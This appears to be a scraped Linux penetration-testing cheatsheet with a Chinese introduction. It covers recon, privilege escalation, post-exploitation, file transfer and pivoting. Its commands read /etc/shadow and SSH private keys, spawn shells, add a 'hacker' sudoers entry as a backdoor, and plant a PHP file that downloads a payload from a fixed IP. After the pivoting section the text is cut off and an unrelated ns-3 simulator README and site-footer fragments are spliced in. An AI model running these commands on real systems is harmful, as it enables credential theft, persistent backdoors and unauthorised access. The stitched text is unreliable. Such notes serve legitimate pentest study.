Linux Notes And Cheatsheet

本文提供了一套全面的渗透测试流程,包括枚举、漏洞利用、权限提升、后渗透行动及文件传输等关键步骤,旨在帮助安全专业人员有效评估目标系统的安全性。

Enumeration

Basics

whoami
hostname 
uname -a
cat /etc/password
cat /etc/shadow
groups
ifconfig
netstat -an
ps aux | grep root
uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts

Recon

Always start with a stealthy scan to avoid closing ports.

# Syn-scan
nmap -sS INSERTIPADDRESS

# Scan all TCP Ports
nmap INSERTIPADDRESS -p-

# Service-version, default scripts, OS:
nmap INSERTIPADDRESS -sV -sC -O -p 111,222,333

# Scan for UDP
nmap INSERTIPADDRESS -sU

# Connect to udp if one is open
nc -u INSERTIPADDRESS 48772

UDP Scan

./udpprotocolscanner <ip>

FTP Enum

nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 INSERTIPADDRESS

Start Web Server

python -m SimpleHTTPServer 80

Exploit

libSSH Authentication Bypass - CVE-2018-10933

https://github.com/blacknbunny/libSSH-Authentication-Bypass

Use nc <ip> 22 to banner grab the SSH Service, if it's running vulnerable version of libSSH then you can bypass

Privilege Escalation

Basics

cat /proc/version <- Check for kernel exploits
ps auxww
ps -ef
lsof -i
netstat -laputen
arp -e
route
cat /sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
cat /etc/issue
cat /etc/*-release
cat /proc/version
uname -a
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
lsb_release -a

Run pspy64

#https://github.com/DominicBreuker/pspy

Run in background and watch for any processes running

Spawn TTY

#https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
awk 'BEGIN {system("/bin/sh")}'
find / -name blahblah 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
irb(main:001:0> exec "/bin/sh"
Can also use socat

Enum Scripts

cd /EscalationServer/
chmod u+x linux_enum.sh
chmod 700 linuxenum.py

./linux_enum.sh
python linuxenum.py

Add User to Sudoers

echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers

List CronJobs

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Check for SSH Readable SSH Keys for Persistence and Elevation

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

Startup Scripts

find / -perm -o+w -type f 2>/dev/null | grep -v '/proc\|/dev'

Find Writable Files for Users or Groups

find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul

Find Writable Directories for Users or Groups

find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null

Find World Writable Directories

find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';'
2>/dev/null | grep -v root

find / -writable -type d 2>/dev/null

Find World Writable Directories for Root

find / \( -wholename ‘/home/homedir*’ -prune \) -o \( -type d -perm -0002 \) -exec ls -ld ‘{}’ ‘;’
2>/dev/null | grep root

Find World Writable Files

find / \( -wholename ‘/home/homedir/*’ -prune -o -wholename ‘/proc/*’ -prune \) -o \( -type f -perm
-0002 \) -exec ls -l ‘{}’ ‘;’ 2>/dev/null

Find World Writable files in /etc

find /etc -perm -2 -type f 2>/dev/null

Sniff Traffic

tcpdump -i eth0 <protocol>
tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and dst not 192.168.1.X
tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X

User Installed Software (Sometimes Misconfigured)

/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

Post Exploitation

Get Capabilities

/sbin/getcap -r / 2>/dev/null

Get SUID Binaries

find / -perm -u=s -type f 2>/dev/null

Check Sudo Config

sudo -l

File Transfers

Base64

cat file.transfer | base64 -w 0 
echo base64blob | base64 -d > file.transfer

Curl

curl http://webserver/file.txt > output.txt

wget

wget http://webserver/file.txt > output.txt

FTP

pip install pyftpdlib
python -m pyftpdlib -p 21 -w

TFTP

service atftpd start
atftpd --daemon --port 69 /tftp
/etc/init.d/atftpd restart
auxiliary/server/tftp

NC Listeners

nc -lvnp 443 < filetotransfer.txt
nc <ip> 443 > filetransfer.txt 

PHP File Transfers

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

SCP

# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination

Lateral Movement / Pivoting

SSH Local Port Forward

ssh <user>@<target> -L 127.0.0.1:8888:<targetip>:<targetport>

SSH Dynamic Port Forward

ssh -D <localport> user@host
nano /etc/proxychains.conf
127.0.0.1 <localport>

Socat Port Forward

./socat tcp-listen:5000,reuseaddr,fork tcp:<target ip>:5001
The Network Simulator, Version 3 -------------------------------- Table of Contents: ------------------ 1) An overview 2) Building ns-3 3) Running ns-3 4) Getting access to the ns-3 documentation 5) Working with the development version of ns-3 Note: Much more substantial information about ns-3 can be found at http://www.nsnam.org 1) An Open Source project ------------------------- ns-3 is a free open source project aiming to build a discrete-event network simulator targeted for simulation research and education. This is a collaborative project; we hope that the missing pieces of the models we have not yet implemented will be contributed by the community in an open collaboration process. The process of contributing to the ns-3 project varies with the people involved, the amount of time they can invest and the type of model they want to work on, but the current process that the project tries to follow is described here: http://www.nsnam.org/developers/contributing-code/ This README excerpts some details from a more extensive tutorial that is maintained at: http://www.nsnam.org/documentation/latest/ 2) Building ns-3 ---------------- The code for the framework and the default models provided by ns-3 is built as a set of libraries. User simulations are expected to be written as simple programs that make use of these ns-3 libraries. To build the set of default libraries and the example programs included in this package, you need to use the tool &#39;waf&#39;. Detailed information on how use waf is included in the file doc/build.txt However, the real quick and dirty way to get started is to type the command ./waf configure --enable-examples followed by ./waf in the the directory which contains this README file. The files built will be copied in the build/ directory. The current codebase is expected to build and run on the set of platforms listed in the RELEASE_NOTES file. Other platforms may or may not work: we welcome patches to improve the portability of the code to these other platforms. 3) Running ns-3 --------------- On recent Linux systems, once you have built ns-3 (with examples enabled), it should be easy to run the sample programs with the following command, such as: ./waf --run simple-global-routing That program should generate a simple-global-routing.tr text trace file and a set of simple-global-routing-xx-xx.pcap binary pcap trace files, which can be read by tcpdump -tt -r filename.pcap The program source can be found in the examples/routing directory. 4) Getting access to the ns-3 documentation ------------------------------------------- Once you have verified that your build of ns-3 works by running the simple-point-to-point example as outlined in 4) above, it is quite likely that you will want to get started on reading some ns-3 documentation. All of that documentation should always be available from the ns-3 website: http:://www.nsnam.org/documentation/. This documentation includes: - a tutorial - a reference manual - models in the ns-3 model library - a wiki for user-contributed tips: http://www.nsnam.org/wiki/ - API documentation generated using doxygen: this is a reference manual, most likely not very well suited as introductory text: http://www.nsnam.org/doxygen/index.html 5) Working with the development version of ns-3 ----------------------------------------------- If you want to download and use the development version of ns-3, you need to use the tool &#39;mercurial&#39;. A quick and dirty cheat sheet is included in doc/mercurial.txt but reading through the mercurial tutorials included on the mercurial website is usually a good idea if you are not familiar with it. If you have successfully installed mercurial, you can get a copy of the development version with the following command: &quot;hg clone http://code.nsnam.org/ns-3-dev&quot;
03-08
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值